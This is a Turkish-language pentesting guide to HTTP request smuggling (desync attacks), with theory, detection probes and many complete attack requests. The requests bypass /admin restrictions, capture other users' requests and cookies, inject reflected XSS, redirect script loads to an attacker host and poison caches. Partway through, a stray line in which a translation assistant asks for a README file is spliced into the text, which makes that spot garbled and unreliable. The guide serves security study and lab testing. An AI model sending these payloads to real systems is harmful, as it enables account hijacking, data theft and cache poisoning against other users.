HTTP Request Smuggling / HTTP Desync Attack

Reading time: 30 minutes

Nedir

Bu zafiyet, ön uç proxy'ler ile arka uç sunucu arasında bir desyncronization (senkronizasyon kaybı) olduğunda ortaya çıkar; bu durum bir saldırganın bir HTTP isteği gönderip bunun ön uç proxy'ler (load balance/reverse-proxy) tarafından tek istek olarak, arka uç sunucu tarafından ise 2 istek olarak yorumlanmasına izin verir.
Bu, bir kullanıcının arka uca gelen bir sonraki isteği değiştirmesine imkan tanır.

Teori

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Gerçeklik

Ön Uç (yük dengeleyici / Reverse Proxy) bir content-length veya transfer-encoding başlığını işlerken, Arka Uç sunucu diğerini işleyebilir ve bu iki sistem arasında bir desyncronization (senkronizasyon kaybı) oluşturabilir.
Bu çok kritik olabilir çünkü saldırgan, reverse proxy'ye gönderdiği bir isteği arka uç sunucu tarafından iki farklı istek olarak yorumlanacak şekilde gönderebilir. Bu tekniğin tehlikesi, arka ucun enjekte edilen 2. isteği, sanki bir sonraki istemciden gelmiş gibi yorumlamasında ve o istemcinin gerçek isteğinin enjekte edilmiş isteğin bir parçası haline gelmesinde yatar.

Özellikler

HTTP'de yeni satır karakterinin 2 byte'tan oluştuğunu unutmayın:

• Content-Length: Bu başlık, isteğin gövdesinin byte cinsinden adetini belirtmek için bir ondalık sayı kullanır. Gövdenin son karakterinde bitmesi beklenir, isteğin sonunda ekstra bir yeni satır gerekmez.
• Transfer-Encoding: Bu başlık, gövdede bir onaltılık sayı kullanarak sonraki chunk'ın kaç byte olduğunu belirtir. Chunk, yeni satır ile bitmelidir ama bu yeni satır uzunluk gösterge tarafından hesaba katılmaz. Bu transfer yöntemi 0 boyutunda bir chunk ile ve onu takip eden 2 yeni satır ile bitmelidir: 0
• Connection: Deneyimlerime göre request smuggling denemelerinde ilk istek için Connection: keep-alive kullanılması tavsiye edilir.

Visible - Hidden

HTTP/1.1 ile ilgili temel problem, tüm isteklerin aynı TCP soketinde gitmesidir; bu yüzden iki farklı sistemi talepleri alırken bir tutarsızlık yaşanırsa, tek bir istek final backend (veya aradaki sistemler) tarafından iki farklı istek (veya daha fazlası) olarak değerlendirilebilir.

This blog post desync saldırılarını WAF'lar tarafından algılanmayacak şekilde tespit etmenin yeni yollarını önerir. Bunun için Visible vs Hidden davranışlarını sunar. Amaç, gerçekte bir şeyi exploit etmeden desync'lere neden olabilecek tekniklerle yanıtlar arasındaki tutarsızlıkları bulmaktır.

Örneğin, normal Host başlığı ile birlikte " host" başlığı gönderildiğinde; eğer arka uç bu isteğe (belki " host" değeri yanlış olduğu için) itiraz ediyorsa, bu ön uçun " host" başlığını görmediği ama arka ucun kullandığı anlamına gelebilir; bu da ön uç ile arka uç arasında bir desync olduğu anlamına gelir.

Bu bir Hidden-Visible tutarsızlığı olur.

Eğer ön uç " host" başlığını dikkate almış ama arka uç almamış olsaydı, bu Visible-Hidden durumu olabilirdi.

Örneğin, AWS ALB ön uç olarak ve IIS arka uç olarak kullanıldığında desync'ler tespit edilmişti. "Host: foo/bar" gönderildiğinde ALB 400, Server; awselb/2.0 döndürürken; "Host : foo/bar" gönderildiğinde 400, Server: Microsoft-HTTPAPI/2.0 döndürmüş, bu da arka ucun yanıtı gönderdiğini gösteriyordu. Bu bir Hidden-Visible (H-V) durumuydu.

Bu durum AWS tarafında düzeltilmemiş olmasına rağmen, routing.http.drop_invalid_header_fields.enabled ve routing.http.desync_mitigation_mode = strictest ayarlarıyla önlenebilir.

Temel Örnekler

HTTP request smuggling saldırıları, ön uç ve arka uç sunucuların Content-Length (CL) ve Transfer-Encoding (TE) başlıklarını nasıl yorumladıkları arasındaki tutarsızlıklardan yararlanarak belirsiz istekler gönderilerek hazırlanır. Bu saldırılar ağırlıklı olarak CL.TE, TE.CL ve TE.TE biçimlerinde görülür. Her bir tür, ön uç ve arka uç sunucuların bu başlıkları nasıl önceliklendirdiğinin farklı bir kombinasyonunu temsil eder. Zafiyetler, sunucuların aynı isteği farklı şekillerde işlemesinden kaynaklanır ve beklenmeyen ve potansiyel olarak kötü niyetli sonuçlara yol açabilir.

Zayıflık Tiplerinin Temel Örnekleri

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

• Ön Uç (CL): İsteği Content-Length başlığına göre işler.

• Arka Uç (TE): İsteği Transfer-Encoding başlığına göre işler.

• Saldırı Senaryosu:

• Saldırgan, Content-Length başlığının değeri gerçek içerik uzunluğu ile uyuşmayacak şekilde bir istek gönderir.

• Ön uç sunucu, Content-Length değerine dayanarak tüm isteği arka uca iletir.

• Arka uç sunucu, Transfer-Encoding: chunked başlığı nedeniyle isteği chunked olarak işler ve kalan veriyi ayrı, sonraki bir istek olarak yorumlar.

• Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

• Ön Uç (TE): İsteği Transfer-Encoding başlığına göre işler.

• Arka Uç (CL): İsteği Content-Length başlığına göre işler.

• Saldırı Senaryosu:

• Saldırgan, chunk boyutu (7b) ile gerçek içerik uzunluğu (Content-Length: 4) uyuşmayan bir chunked istek gönderir.

• Ön uç sunucu Transfer-Encoding'i dikkate alarak tüm isteği arka uca gönderir.

• Arka uç sunucu Content-Length'ı dikkate alarak sadece isteğin ilk kısmını (7b byte) işler ve geriye kalan kısım istem dışı bir sonraki isteğin parçası olarak kalır.

• Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

• Sunucular: Her ikisi de Transfer-Encoding'i destekler, ancak biri obfuskasyon yüzünden bunu görmezden gelebilir.

• Saldırı Senaryosu:

• Saldırgan, Transfer-Encoding başlıklarını obfuskasyonla gönderir.

• Ön uç veya arka uç, obfuskasyonu tanıyamazsa CL.TE veya TE.CL zafiyeti tetiklenebilir.

• Bir sunucu tarafından işlenmeyen istek parçası, sonraki bir isteğin parçası haline gelir ve smuggling'e yol açar.

• Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

• Her iki sunucu da isteği yalnızca Content-Length başlığına göre işler.
• Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki taraf da isteğin uzunluğunu aynı şekilde yorumlar.
• Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

• Content-Length başlığının bulunduğu ve sıfır olmayan bir değere sahip olduğu, dolayısıyla isteğin gövdesi olduğu durumları ifade eder. Arka uç Content-Length başlığını yoksayar (0 olarak ele alır), fakat ön uç bunu parse eder.
• Bu, smuggling saldırıları oluştururken önemlidir çünkü sunucuların bir isteğin sonunu nasıl belirlediklerini etkiler.
• Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

• Öncekine benzer ancak TE kullanarak.
• Technique reported here
• Örnek:

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Senaryo

Bir 0.CL durumunda bir istek aşağıdaki gibi bir Content-Length ile gönderilir:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Ve front-end Content-Length'i dikkate almadığı için sadece ilk isteği backend'e gönderir (örnekte 7'ye kadar). Oysa backend Content-Length'i görür ve front-end zaten yanıtı beklediği için asla gelmeyecek bir body bekler.

Ancak backend'e gönderilebilecek ve request gövdesi alınmadan yanıtlanan bir istek varsa, bu kilitlenme oluşmaz. Örneğin IIS'te bu, /con (check the documentation) gibi yasaklı kelimelere istek gönderildiğinde olur; bu şekilde ilk istek doğrudan yanıtlanır ve ikinci istek mağdurun isteğini şöyle içerecektir:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Bu, bir desync oluşturmak için faydalıdır, ancak şu ana kadar herhangi bir etkisi olmadı.

Ancak yazı, bunu çift desync kullanarak bir 0.CL attack into a CL.0 with a double desync dönüşümüyle çözüyor.

Web sunucusunu bozma

Bu teknik, başlangıç HTTP verilerini okurken web sunucusunu bozmanın mümkün olduğu ancak bağlantıyı kapatmamanın gerektiği senaryolarda da faydalıdır. Bu şekilde, HTTP isteğinin body'si bir sonraki HTTP request olarak kabul edilecektir.

Örneğin, this writeupda açıklandığı gibi, Werkzeug'te bazı Unicode karakterleri göndermek sunucunun çökmesine neden olabiliyordu. Ancak, eğer HTTP bağlantısı Connection: keep-alive başlığıyla oluşturulduysa, isteğin body’si okunmayacak ve bağlantı açık kalmaya devam edecektir; bu yüzden isteğin body'si bir sonraki HTTP request olarak değerlendirilecektir.

Hop-by-hop headers üzerinden zorlamak

Hop-by-hop headers'ı suistimal ederek proxy'nin Content-Length veya Transfer-Encoding başlığını silmesini sağlayarak HTTP request smuggling'in suistimal edilmesine olanak tanıyabilirsiniz.

Connection: Content-Length

For daha fazla bilgi için hop-by-hop başlıkları hakkında ziyaret edin:

hop-by-hop headers

HTTP Request Smuggling'i Bulma

HTTP request smuggling zayıflıklarını tespit etmek genellikle zamanlama teknikleriyle yapılabilir; bu teknikler, manipüle edilmiş isteklerin sunucunun yanıt vermesinin ne kadar sürdüğünü gözlemlemeye dayanır. Bu teknikler özellikle CL.TE ve TE.CL zafiyetlerini tespit etmek için kullanışlıdır. Bu yöntemlerin dışında, bu tür zafiyetleri bulmak için kullanılabilecek diğer stratejiler ve araçlar da vardır:

Zamanlama Teknikleriyle CL.TE Zafiyetlerini Bulma

• Yöntem:

• Eğer uygulama kırılgan ise arka uç sunucusunun ek veri beklemesine sebep olacak bir istek gönderin.

• Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

• Gözlem:

• Front-end sunucu isteği Content-Length bazında işler ve mesajı erken keser.

• Arka uç sunucu chunked bir mesaj beklediği için, gelmeyen sonraki chunk'ı bekleyerek gecikmeye sebep olur.

• Göstergeler:

• Zaman aşımı veya uzun yanıt gecikmeleri.

• Bazen arka uç sunucudan detaylı sunucu bilgisi içeren 400 Bad Request hatası almak.

Zamanlama Teknikleriyle TE.CL Zafiyetlerini Bulma

• Yöntem:

• Eğer uygulama kırılgan ise arka uç sunucusunun ek veri beklemesine sebep olacak bir istek gönderin.

• Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

• Gözlem:
• Front-end sunucu isteği Transfer-Encoding bazında işler ve tüm mesajı iletir.
• Arka uç sunucu Content-Length bazlı bir mesaj beklediği için gelmeyen ek veriyi bekler ve gecikme oluşur.

Zafiyetleri Bulmak İçin Diğer Yöntemler

• Diferansiyel Yanıt Analizi:
• İsteğin hafifçe farklılaştırılmış versiyonlarını gönderin ve sunucu yanıtlarının beklenmedik şekilde farklılaşıp farklılaşmadığını gözlemleyin; bu bir parsing uyumsuzluğuna işaret edebilir.
• Otomatik Araç Kullanımı:
• Burp Suite'in 'HTTP Request Smuggler' extension gibi araçları, çeşitli belirsiz istekleri otomatik olarak gönderip yanıtları analiz ederek bu zafiyetleri test edebilir.
• Content-Length Değişkenlik Testleri:
• Gerçek içerik uzunluğuyla uyuşmayan farklı Content-Length değerleri içeren istekler gönderin ve sunucunun bu uyumsuzlukları nasıl ele aldığını gözlemleyin.
• Transfer-Encoding Değişkenlik Testleri:
• Transfer-Encoding başlıklarını obfuske veya hatalı biçimde gönderin ve front-end ile back-end sunucuların bu manipülasyonlara nasıl farklı yanıt verdiğini izleyin.

The Expect: 100-continue header

Bu başlığın http desync'i istismar etmeye nasıl yardımcı olabileceğini kontrol edin:

Special Http Headers

HTTP Request Smuggling Zafiyeti Testi

Zamanlama tekniklerinin etkili olduğunu teyit ettikten sonra, istemci isteklerinin manipüle edilip edilemeyeceğini doğrulamak önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi denemektir; örneğin / isteğinin 404 yanıtı vermesini sağlamak. Önceki CL.TE ve TE.CL örnekleri Basic Examples bölümünde, istemcinin farklı bir kaynağa erişmeye çalışmasına rağmen nasıl 404 yanıtı ürettirilebileceğini gösterir.

Temel Dikkat Edilecekler

Diğer isteklerle müdahale ederek request smuggling testleri yaparken akılda tutulması gerekenler:

• Ayrı Ağ Bağlantıları: "Saldırı" ve "normal" istekler ayrı ağ bağlantıları üzerinden gönderilmelidir. Her ikisini de aynı bağlantıda göndermek zafiyetin varlığını doğrulamaz.
• Tutarlı URL ve Parametreler: Her iki istek için de aynı URL ve parametre adlarını kullanmaya çalışın. Modern uygulamalar genellikle URL ve parametrelere göre istekleri belirli arka uç sunucularına yönlendirir. Bunların eşleşmesi, her iki isteğin aynı sunucu tarafından işlenme olasılığını artırır; bu da başarılı bir saldırı için ön koşuldur.
• Zamanlama ve Yarışma Koşulları: "Normal" istek, "saldırı" isteğinin müdahalesini tespit etmek için diğer eşzamanlı uygulama istekleriyle yarışır. Bu yüzden "normal" isteği, "saldırı" isteğini hemen takiben gönderin. Yoğun uygulamalarda kesin doğrulama için birden fazla deneme gerekebilir.
• Yük Dengeleme Zorlukları: Front-end sunucular yük dengeleyici rolündeyse istekleri farklı arka uç sistemlerine dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlere giderse saldırı başarılı olmaz. Bu yük dengeleme durumu, bir zafiyeti doğrulamak için birkaç deneme gerektirebilir.
• İstenmeyen Kullanıcı Etkisi: Saldırınız başka bir kullanıcının isteğini (gönderdiğiniz "normal" isteğin dışındaki) etkilerse, bu saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli testler diğer kullanıcıları rahatsız edebileceği için temkinli olun.

HTTP/1.1 pipelining artefaktları ile gerçek request smuggling'i ayırt etme

Connection reuse (keep-alive) ve pipelining, aynı soket üzerinde birden çok istek gönderen test araçlarında kolayca "smuggling" yanılsamaları yaratabilir. Zararsız istemci tarafı artefaktlarını gerçek sunucu tarafı desync'den ayırmayı öğrenin.

Neden pipelining klasik false positive'ler yaratır

HTTP/1.1 tek bir TCP/TLS bağlantısını yeniden kullanır ve aynı akışta istekleri ve yanıtları ardışık olarak birleştirir. Pipelining'de client birden fazla isteği arka arkaya gönderir ve sıralı yanıtlarla yetinir. Yaygın bir false-positive, tek bir bağlantıda CL.0 tarzı hatalı bir payload'ı iki kez yeniden göndermektir:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Lütfen src/pentesting-web/http-request-smuggling/README.md dosyasının içeriğini gönderin veya yapıştırın; ardından içindeki İngilizce metni belirttiğiniz kurallara uygun şekilde Türkçeye çevireyim.

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Eğer sunucu hatalı Content_Length'i yok saydıysa, FE↔BE desync oluşmaz. Reuse ile, istemcin aslında bu bayt akışını gönderdi; sunucu bunu iki bağımsız istek olarak ayrıştırdı:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: yok. İstemcinizi sunucunun çerçevelendirmesinden desenkronize ettiniz.

Litmus testleri: pipelining mi yoksa gerçek desync mı?

1. Disable reuse and re-test

• Burp Intruder/Repeater'da HTTP/1 reuse'u kapatın ve "Send group in sequence" kullanmaktan kaçının.
• Turbo Intruder'da requestsPerConnection=1 ve pipeline=False ayarlayın.
• Davranış kayboluyorsa, muhtemelen istemci tarafı pipelining idi; bağlantı‑kilitli/stateful hedeflerle veya istemci tarafı desync ile uğraşmıyorsanız.

2. HTTP/2 nested-response check

• Bir HTTP/2 isteği gönderin. Eğer yanıt gövdesi tam bir nested HTTP/1 yanıtı içeriyorsa, saf bir istemci artefaktı yerine backend parsing/desync hatasını kanıtlamış olursunuz.

3. Partial-requests probe for connection-locked front-ends

• Bazı FE'ler sadece istemci kendi bağlantısını yeniden kullandıysa upstream BE bağlantısını yeniden kullanır. FE davranışını, istemci yeniden kullanımını yansıtan şekilde tespit etmek için partial-requests kullanın.
• Connection‑locked tekniği için PortSwigger "Browser‑Powered Desync Attacks"e bakın.

4. State probes

• Aynı TCP bağlantısında ilk istek ile sonraki istekler arasındaki farklara (first-request routing/validation) bakın.
• Burp "HTTP Request Smuggler" bunun otomasyonunu yapan bir connection‑state probe içerir.

5. Visualize the wire

• Yeniden kullanım ve partial requests ile denemeler yaparken birleştirme ve mesaj çerçevelendirmeyi doğrudan incelemek için Burp "HTTP Hacker" uzantısını kullanın.

Connection‑locked request smuggling (reuse-required)

Bazı front‑end'ler upstream bağlantısını ancak istemci kendi bağlantısını yeniden kullandıysa yeniden kullanır. Gerçek smuggling mevcut olabilir ama istemci tarafı yeniden kullanıma bağlıdır. Ayırmak ve etkiyi kanıtlamak için:

• Sunucu tarafı hatasını kanıtlayın
• HTTP/2 nested-response check kullanın, veya
• FE'nin upstream'i sadece istemci yeniden kullandığında yeniden kullandığını göstermek için partial-requests kullanın.
• Doğrudan kullanıcılar arası socket kötüye kullanımı engellense bile gerçek etkiyi gösterin:
  • Cache poisoning: desync aracılığıyla paylaşılan cache'leri zehirleyin, böylece yanıtlar diğer kullanıcıları etkiler.
  • Internal header disclosure: FE tarafından enjekte edilen header'ları yansıtın (ör. auth/trust header'ları) ve auth bypass'a pivot yapın.
  • Bypass FE controls: smuggle edilerek kısıtlı path/method'ları front-end'in önünden geçirin.
  • Host-header abuse: host yönlendirme tuhaflıkları ile kombinleyip iç vhost'lara pivot yapın.
• Operatör iş akışı
  • Kontrollü yeniden kullanım ile yeniden üretin (Turbo Intruder requestsPerConnection=2, veya Burp Repeater sekme grubunda → "Send group in sequence (single connection)").
  • Sonra cache/header-leak/control-bypass primitive'lerine zincirleyin ve kullanıcılar arası veya yetkilendirme etkisini gösterin.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

Eğer hedefiniz browser-powered/client-side desync ise, kötü amaçlı istek bir tarayıcı tarafından cross-origin olarak gönderilebilir olmalı. Header obfuscation numaraları işe yaramaz. Navigation/fetch yoluyla ulaşılabilecek primitive'lere odaklanın, sonra downstream bileşenler yanıtları yansıtıyor veya cache'liyorsa cache poisoning, header disclosure veya front-end kontrol bypass'a pivot yapın.

For background and end-to-end workflows:

Browser HTTP Request Smuggling

Tooling to help decide

• HTTP Hacker (Burp BApp Store): düşük seviyeli HTTP davranışını ve socket birleştirmeyi ortaya çıkarır.
• "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
• Turbo Intruder: requestsPerConnection ile bağlantı yeniden kullanımı üzerinde hassas kontrol sağlar.
• Burp HTTP Request Smuggler: first‑request yönlendirme/validasyonunu tespit eden bir connection‑state probe içerir.

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Bazen front‑end proxy'ler gelen istekleri inceleyip güvenlik önlemleri uygular. Ancak bu önlemler HTTP Request Smuggling istismarıyla aşılabilir ve yetkisiz erişime izin verebilir. Örneğin, /admin'e erişim dışarıdan engelleniyor olabilir; front‑end proxy böyle girişimleri aktif olarak bloke eder. Yine de bu proxy, smuggled bir HTTP isteği içindeki gömülü istekleri incelemeyi ihmal edebilir ve bu kısıtlamaları atlamak için bir açıklık bırakabilir.

Aşağıdaki örnekler, HTTP Request Smuggling kullanılarak front‑end güvenlik kontrollerinin nasıl atlanabileceğini, özellikle front‑end proxy tarafından genellikle korunan /admin path'ine nasıl hedeflenebileceğini gösterir:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE saldırısında, ilk istek için Content-Length header kullanılırken, sonraki gömülü istek Transfer-Encoding: chunked header'ını kullanır. front-end proxy ilk POST isteğini işler ancak gömülü GET /admin isteğini inceleyemez; bu da /admin yoluna yetkisiz erişime izin verir.

TE.CL Örnek

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Tam tersine, TE.CL saldırısında ilk POST isteği Transfer-Encoding: chunked kullanır ve daha sonra gömülü istek Content-Length başlığına göre işlenir. CL.TE saldırısına benzer şekilde, ön uç proxy gizlenmiş GET /admin isteğini görmezden gelir ve istemeden kısıtlı /admin yoluna erişim sağlar.

Ön uç istek yeniden yazımını ortaya çıkarma

Uygulamalar genellikle gelen istekleri arka uç sunucusuna iletmeden önce değiştirmek için bir ön uç sunucusu kullanır. Tipik bir değişiklik, istemcinin IP'sini arka uca iletmek için X-Forwarded-For: <IP of the client> gibi başlıkların eklenmesini içerir. Bu değişiklikleri anlamak kritik olabilir; çünkü bu, korumaları atlama veya gizli bilgileri ya da uç noktaları ortaya çıkarma yollarını açabilir.

Bir proxy'nin bir isteği nasıl değiştirdiğini incelemek için, arka ucun yanıtında yansıttığı bir POST parametresi bulun. Ardından, bu parametreyi en sona koyarak aşağıdakine benzer bir istek oluşturun:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Bu yapıda, sonraki istek bileşenleri search= sonrasında eklenir; bu parametre yanıt içinde yansıtılır. Bu yansıtma, sonraki isteğin headers'larını ortaya çıkaracaktır.

İç içe isteğin Content-Length header'ını gerçek içerik uzunluğuyla hizalamak önemlidir. Küçük bir değerle başlayıp kademeli olarak artırmak tavsiye edilir; çünkü çok düşük bir değer yansıtılan veriyi kısaltırken, çok yüksek bir değer isteğin hata vermesine neden olabilir.

Bu teknik TE.CL zafiyeti bağlamında da uygulanabilir, ancak istek search=\r\n0 ile sonlanmalıdır. Yeni satır karakterlerine bakılmaksızın, değerler search parametresine eklenecektir.

Bu yöntem öncelikle front-end proxy tarafından yapılan istek değişikliklerini anlamaya yarar; özünde kendi kendine yapılan bir incelemedir.

Capturing other users' requests

Bir POST işlemi sırasında bir parametrenin değeri olarak özel bir istek ekleyerek, sonraki kullanıcının isteklerini yakalamak mümkündür. Bunu şu şekilde gerçekleştirebilirsiniz:

Aşağıdaki isteği bir parametrenin değeri olarak ekleyerek, sonraki istemcinin isteğini depolayabilirsiniz:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Bu senaryoda, yorum parametresi halka açık bir sayfadaki bir gönderinin yorum bölümündeki içeriği saklamak için tasarlanmıştır. Sonuç olarak, sonraki isteğin içeriği yorum olarak görünecektir.

Ancak bu tekniğin sınırlamaları vardır. Genel olarak, sadece smuggled request'te kullanılan parametre ayırıcıya kadar olan veriyi yakalar. URL-encoded form gönderimlerinde bu ayırıcı & karakteridir. Bu, hedef kullanıcının isteğinden yakalanan içeriğin ilk &'te duracağı anlamına gelir; bu & sorgu stringinin bir parçası bile olabilir.

Ayrıca, bu yaklaşımın TE.CL zafiyetiyle de işe yaradığını belirtmek gerekir. Bu durumda istek search=\r\n0 ile bitmelidir. Yeni satır karakterleri ne olursa olsun, değerler search parametresine eklenecektir.

HTTP request smuggling kullanarak Reflected XSS'i suistimal etmek

HTTP Request Smuggling, Reflected XSS'e duyarlı web sayfalarını istismar etmek için kullanılabilir ve önemli avantajlar sunar:

• Hedef kullanıcılarla etkileşim gerekmez.
• Normalde ulaşılamayan kısımlarda, örneğin HTTP request headers gibi, XSS'in suistimal edilmesine olanak tanır.

Bir web sitesi User-Agent header üzerinden Reflected XSS'e duyarlıysa, aşağıdaki payload bu zafiyeti nasıl suistimal edeceğinizi gösterir:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

This payload, zafiyeti şu şekilde sömürmek için yapılandırılmıştır:

1. Görünüşte tipik bir POST isteği başlatarak, smuggling'in başladığını belirtmek için Transfer-Encoding: chunked başlığıyla.
2. Bir 0 ile takip ederek, chunked mesaj gövdesinin sonunu işaretler.
3. Sonra, smuggled GET isteği eklenir; burada User-Agent başlığı bir script ile enjekte edilir, <script>alert(1)</script>, sunucu bu sonraki isteği işlediğinde XSS'i tetikler.

User-Agent'ı smuggling yoluyla manipüle ederek, payload normal istek kısıtlamalarını atlar ve böylece Reflected XSS zafiyetini standart dışı ama etkili bir şekilde sömürür.

HTTP/0.9

HTTP/0.9 sürümü 1.0'dan önce geliyordu ve sadece GET verb'lerini kullanır; doesn’t headers ile yanıt vermez, sadece body döner.

In this writeup, bu durum request smuggling ile kötüye kullanıldı ve HTTP/0.9 ile bir istek smuggle etmek için kullanıcının girdisini yanıt olarak döndürecek zafiyetli bir endpoint kullanıldı. Yanıtta yansıtılacak parametre, içinde fake HTTP/1.1 response (with headers and body) bulunan bir içerikti; bu sayede yanıt, Content-Type'ı text/html olan geçerli çalıştırılabilir JS kodu içerecek şekilde oluştu.

Site İçi Yönlendirmeleri HTTP Request Smuggling ile Sömürme

Uygulamalar genellikle bir URL'den diğerine yönlendirirken redirect URL'sinde hostname olarak Host başlığını kullanır. Bu, Apache ve IIS gibi web sunucularında yaygındır. Örneğin, sonuna eğik çizgi olmayan bir klasör isteği, eğik çizgiyi eklemek için bir yönlendirme ile sonuçlanır:

GET /home HTTP/1.1
Host: normal-website.com

Sonuçlar:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Görünüşte zararsız olsa da, bu davranış HTTP request smuggling kullanılarak kullanıcıların harici bir siteye yönlendirilmesi için istismar edilebilir. Örneğin:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Bu smuggled request, işlenen bir sonraki kullanıcı isteğinin saldırganın kontrolündeki bir web sitesine yönlendirilmesine yol açabilir:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Sonuçlar:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Bu senaryoda, bir kullanıcının JavaScript dosyası isteği ele geçiriliyor. Saldırgan, yanıt olarak kötü amaçlı JavaScript sunarak kullanıcıyı potansiyel olarak ele geçirebilir.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning, herhangi bir bileşenin front-end altyapısında içerik önbelleklemesi yapması durumunda, genellikle performansı artırmak amacıyla gerçekleştirilebilir. Sunucunun yanıtını manipüle ederek poison the cache mümkün hale getirilebilir.

Daha önce, sunucu yanıtlarının nasıl değiştirilerek 404 hatası döndürülebileceğini gözlemlemiştik (bkz. Basic Examples). Benzer şekilde, sunucuyu /static/include.js isteğine yanıt olarak /index.html içeriği göndermeye kandırmak mümkündür. Sonuç olarak, /static/include.js içeriği önbellekte /index.html içeriği ile değiştirilir; bu da /static/include.js'in kullanıcılara erişilemez hale gelmesine ve potansiyel olarak bir Denial of Service (DoS) durumuna yol açmasına neden olur.

